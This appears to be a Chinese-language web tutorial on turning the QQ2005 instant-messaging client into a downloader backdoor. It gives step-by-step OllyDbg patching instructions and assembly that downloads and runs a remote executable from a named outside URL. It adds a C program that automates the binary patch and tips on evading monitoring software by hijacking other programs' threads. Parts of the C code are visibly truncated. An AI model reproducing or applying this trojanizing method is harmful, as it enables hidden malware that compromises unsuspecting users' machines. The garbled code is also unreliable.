把QQ2005做成後門之編程實現

把QQ2005做成後門之編程實現
  

我們來手工把qq2005做成後門(必要的過程),然後在具體分析,思路是怎麼橫空出世的。因為編程實現不過是把手工的過程變成了自動的過程而已。

1。思路篇
平心而論,我不怎麼喜歡那些全是操作的文章,從頭到尾都是先這樣,再那樣。幾乎學不到什麼東西。
比如講某個木馬,怎麼反彈端口,怎麼隱蔽,就是不給出思路的。實在不利於我們菜鳥的學習。牢騷幾句,
開始正題:
首先,我們來手工把qq2005做成後門(必要的過程),然後在具體分析,思路是怎麼橫空出世的。
因為編程實現不過是把手工的過程變成了自動的過程而已。這裡又面臨一個選擇,是詳細寫出用ollydbg修改qq的詳細過程,還是一筆帶過呢?考慮到《逆》一文中的這個過程被一筆帶過了(肯定帶來的不少我等菜鳥的痛苦),
所以我選擇詳細寫出這個過程。這樣才算手把手的教,是吧。由於我很討厭抓圖,所以一部分過程我就不抓圖了。

用ollydbg打開qq.exe,這時候程序會停在入口點,F2下個斷點,為什麼呢?因為要麼要修改qq的入口代碼。
下斷點後,很容易在找到這個位置,按ALT+B,雙擊斷點,又回到入口了吧,是不是很方便。呵呵
拖動CPU窗口的滾動條,到qq.exe的尾部,找到一大片的全是 db 0 的地方,這個可以理解為PE的空隙。
我找到的地址是004D4D90,按著鼠標左鍵向下拖動,選中的部分是黃色的,按CTRL+E或者右鍵->二進制->
編輯, 輸入要下載的後門的地址:"http://hackor.51.net/mm.exe"(不包括引號), 回車,看到一堆不知道是什麼的彙編代碼吧,沒有關係,CTRL+A分析一下,好看多了吧,如圖1。同樣的方法在004D4DCD(距離004D4D90比較遠,是為了留出足夠的空間來存放比較長的URL)添加"d:\\ok.exe",如圖2。繼續添加如下彙編代碼(為什麼這樣添加呢,隨後給出):

004D4DEB 60 pushad
004D4DEC 6A 00 push 0
004D4DEE . 6A 00 push 0
004D4DF0 . 68 CD4D4D00 push QQ.004D4DCD ; ASCII "d:\\ok.exe"
004D4DF5 . 68 904D4D00 push QQ.004D4D90 ; ASCII "http://hackor.51.net/mm.exe"
004D4DFA . 6A 00 push 0
004D4DFC . E8 CAEBBC75 call urlmon.URLDownloadToFileA
004D4E01 . 61 popad
004D4E02 . 60 pushad
004D4E03 . 6A 05 push 5 ; /ShowState = SW_SHOW
004D4E05 . 68 CD4D4D00 push QQ.004D4DCD ;  CmdLine = "d:\\ok.exe"
004D4E0A . E8 26AF9777 call kernel32.WinExec ; \WinExec
004D4E0F . 61 popad
004D4E10 . C3 retn
004D4E11 00 db 00
004D4E12 00 db 00
004D4E13 > 60 pushad
004D4E14 . 6A 00 push 0 ; /arg = NULL
004D4E16 . 6A 00 push 0 ;  stksize = 0
004D4E18 . 68 EB4D4D00 push QQ.004D4DEB ;  start = QQ.004D4DEB
004D4E1D . E8 65307377 call MSVCRT._beginthread ; \_beginthread
004D4E22 . 61 popad




004D4E23 . 55 push ebp
004D4E24 . 8BEC mov ebp,esp
004D4E26 . 6A FF push -1
004D4E28 .^ E9 30FDF8FF jmp QQ.00464B5D



按CTRL+A分析一下,看到了什麼:
004D4DEB . 60 6A 00 ascii "`j",0
004D4DEB居然變成了這個,呵呵,用ollydbg的小技巧,選中這行,右鍵->分析->在下一次分析期間,將選擇視為命令。呵呵,ok了吧。編輯的時候還會出現其它的不好看的東西,那是ollydbg分析錯誤導致的,需要手動調整,視為命令,字符等等(具體情形請自行分析)。
現在來回答為什麼這樣添加的問題:004D4E18處壓入的是004D4DEB(也就是URLDownloadToFileA的地址),這樣當這個_beginthread啟動的時候,會調用URLDownloadToFileA,去下載我們的mm.exe,緊接著執行WinExec函數,這樣我們下載的mm.exe就被執行了,最後用retn返回。其中004D4E22到004D4E26是qq的入口代碼,為了不影響qq的運行,我們還是要保存地。下面接著修改qq的入口代碼,使之跳到004D4E13去執行我們的_beginthread。注意修改前請先保存,右鍵->複製到可執行文件,選擇一個文件名就ok了。
修改後(如圖3):
00464B58 Q> $ /E9 B6020700 jmp QQ.004D4E13
00464B5D >  68 18104E00 push QQ.004E1018
修改完成後,右鍵複製到可執行文件,全部修正。
整個過程要注意堆棧平衡。上面的pushad和popad就是用來保持堆棧平衡的。

2。具體編程實現:
有了前面的過程,這個就簡單了。用什麼語言實現都一樣,看你的個人愛好了。我用的c語言
我們 的程序就是修改qq,把正常的qq.exe修改成上面這樣的。那麼要修改那些地方呢?
有2個辦法,用ollydbg同時開修改後的qq.exe和修改前的qq.exe,對比發現即可。但是不太方便。
還可以使用Hex Workshop,我用的就是這個,它可以比較2個文件,下載地址:http://www.pediy.com/tools/Editors/Hex%20workshop/Hex%20workshop%204.23.zip
安裝完成後,打開Hex Workshop,CTRL+K,選擇路徑,如圖4,ok
F6將自動定位到不同之處。
偏移為:
0x64b58
0xD4D90
0xd4dcd
0xd4deb



我們只需要編程修正以上地方的代碼就可以了,還有一個問題是,我怎麼知道要修正多少個字節呢?
用Hex Workshop計算一下就知道了啊(2個地址相減就ok了),修正字節數並不要求特別準確。不影響程序的運行就可以了。
整個程序如下(非常簡單):
//winxp sp1 + qq2005



#include
#include
#include



int main(int argc, char* argv[])
{
FILE *fp;
unsigned int i;
int entryPoint[] = {233,182,2,7,0}; //入口要修正的字節
char *pDownURL = NULL; //指向下載URL的指針
char *pPathAndFileName = NULL; //指向文件路徑和文件名的指針
int backDoor[] =
{
96,106,0,106,0,104,205,77,77,0,104,144,
77,77,0,106,0,232,202,235,188,117,
97,96,106,5,104,205,77,77,0,232,38,
175,151,119,97,195,0,0,96,106,0,106,
0,104,235,77,77,0,232,101,48,115,
119,97,85,139,236,106,255,233,48,
253,248,255,0
};



if(argc != 3)
{
printf("\n\t\t Make qq to be downloader\n");
printf("\n\t\t\t\tngaut All rights reserved.\n\n");
printf("Usage: %s \n", argv[0]);
printf("%s and qq.exe should at the same directory\n", argv[0]);
printf("The os should be winxp sp1 and The qq version should be 2005\n");
printf("pathAndFileName should like:\n\t d:\\\\mm.exe not d:\\mm.exe\n");
return 1;
}

pDownURL = argv[1];
pPathAndFileName = argv[2];

printf("\n\t\t Make qq to be downloader\n");
printf("Cracking......\n");

// 1. 打開文件qq.exe ,這個是正常的qq.exe
if ((fp = fopen("QQ.exe", "r+"))==NULL)
{
printf("error!!! Can not open qq.exe!!!\n\n");
printf("Press any key to continue\n");
getchar();
exit(0);
}

//2. set entry point
fseek(fp, 0x64b58, SEEK_SET);
for (i=0; i<5; i++)
{
fputc( (char)entryPoint, fp);
}


// 3. set downURL
fseek(fp, 0x00D4D90, SEEK_SET);

for (i=0; i {
fputc(pDownURL, fp);
}
fputc(0, fp); //這裡寫入0,因為必須要以0結尾,下同



// 4. set pathAndFileName
fseek(fp, 0xd4dcd, SEEK_SET);

for (i=0; i {
fputc(pPathAndFileName, fp);
}
fputc(0, fp);




// 5. set backDoor code
fseek(fp, 0xd4deb, SEEK_SET);

for (i=0; i<66; i++)
{
fputc( (char)backDoor, fp);
}


fclose(fp);

printf("\nThanks for using, already cracked!!!\n");
printf("\n\t\t\t\tngaut All rights reserved.\n\n");

return 0;
}




上面的i用於控制要寫入的字節數,並不需要非常精確,但是不要影響程序的執行。每次寫入前
都要用fseek函數移動文件指針到指定位置。用ollydbg看看程序的反彙編代碼,你會發現backDoor
就是我們後門關鍵部分對應的彙編代碼,上面的程序有個小技巧,那就是如何得到
entryPoint和backDoor數組的內容。而且可以看到它們都是int,使用時才被轉化為char
下面的代碼用於得到entryPoint數組和backDoor數組的內容(個人方法很巧妙):
//winxp sp1 + qq2005



#include
#include
#include



int main(int argc, char* argv[])
{
FILE *fp;
unsigned int i;

// 1. 打開文件qq.exe, 注意這個qq是修改過的
if ((fp = fopen("QQ.exe", "r+"))==NULL)
{
printf("error!!! Can not open qq.exe!!!\n\n");
printf("Press any key to continue\n");
getchar();
exit(0);
}


//get entryPoint code
fseek(fp, 0x64b58, SEEK_SET);
for (i=0; i<5; i++)
{
printf("%d,", fgetc(fp));
}
printf("\n\n");

fseek(fp, 0xd4deb, SEEK_SET);

for (i=0; i<67; i++)
{
printf("%d,", fgetc(fp));
}
printf("\n\n");

fclose(fp);

return 0;
}
運行結果如圖5,真漂亮,呵呵。

編程介紹完了。怎麼樣,還算簡單吧。
最後補充一點,我們創建線程還是逃不過某些軟件的監視,那麼我們該怎麼解決呢。我們自己不創建就行了,
借用別人的啊,比如flashget多線程下載,再說了,現在太多的軟件都創建線程,只要不我們的代碼掛上別人的線程就可以了,winxp sp2 和 flashget1.65測試成功,未做更多的測試,應該是可以的。我想這個方法可以叫做借屍還魂吧,呵呵,具體修改過程以及對應的代碼分析就不寫了,手指都麻了,好了,下次見。

趁自己還年輕,多寫點東西貢獻給大家。也算是自己人生一大志願。總體來說我寫的東西都很簡單,因為我就是一菜鳥,寫不出什麼高難度的東西來。 ^_^

共2頁 上一頁 1 2 下一頁
綜合資訊大全
金牌測算
免費起名
免費測名
個性網名
個性簽名
個性資料